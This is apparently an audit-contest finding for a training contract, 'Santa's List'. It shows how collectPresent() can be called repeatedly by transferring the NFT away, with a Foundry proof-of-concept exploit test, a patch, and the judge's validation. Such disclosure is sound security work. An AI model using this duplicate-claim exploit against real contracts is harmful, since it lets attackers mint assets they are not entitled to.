First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

`SantasList::collectPresent()` allows to collect a present multiple times

0xloscar01

Summary

The collectPresent() function reverts if msg.sender balance is greater than 0 however this check is not sufficient because the user that collects the present can transfer it to another address and then collect the present again.

if (balanceOf(msg.sender) > 0) {
revert SantasList__AlreadyCollected();
}

Vulnerability Details

Test

Copy paste the following function inside SantasListTest.t.sol

function testCanCollectPresentMultipleTimes() public {
address attacker = makeAddr("attacker");
address user2 = makeAddr("user2"); // address owned by attacker
​
vm.startPrank(santa); // santa checks user status
santasList.checkList(attacker, SantasList.Status.NICE);
santasList.checkTwice(attacker, SantasList.Status.NICE);
vm.stopPrank();
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1); // warp to christmas
​
vm.startPrank(attacker); // attacker collects present
santasList.collectPresent();
​
santasList.transferFrom(attacker, user2, 0); // attacker transfers present to user2
​
santasList.collectPresent(); // attacker collects the present again
vm.stopPrank();
​
assertEq(santasList.balanceOf(attacker), 1);
assertEq(santasList.balanceOf(user2), 1);
​
vm.startPrank(user2);
santasList.transferFrom(user2, attacker, 0); // user2 transfers present to attacker
​
assertEq(santasList.balanceOf(attacker), 2); // attacker now has 2 presents
}

Impact

Users can claim unlimited presents

Tools Used

Foundry

Recommendations

Consider using a new enum value and setting it after the present is claimed:

  1. Add a new value to Status enum

enum Status {
NICE,
EXTRA_NICE,
NAUGHTY,
- NOT_CHECKED_TWICE
+ NOT_CHECKED_TWICE,
+ ALREADY_COLLECTED
}

  1. Change the status of the person who collected the present so he can't collect it twice.

function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
- if (balanceOf(msg.sender) > 0) {
+ if (s_theListCheckedTwice[msg.sender] == Status.ALREADY_COLLECTED) {
revert SantasList__AlreadyCollected();
}
if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
_mintAndIncrement();
+ s_theListCheckedTwice[msg.sender] = Status.ALREADY_COLLECTED;
return;
} else if (
s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE
&& s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
) {
_mintAndIncrement();
i_santaToken.mint(msg.sender);
+ s_theListCheckedTwice[msg.sender] = Status.ALREADY_COLLECTED;
return;
}
revert SantasList__NotNice();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Already Collected Check

Relying on balanceOf > 0 in collectPresent() allows the msg.sender to send their present to another address and then collect again.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!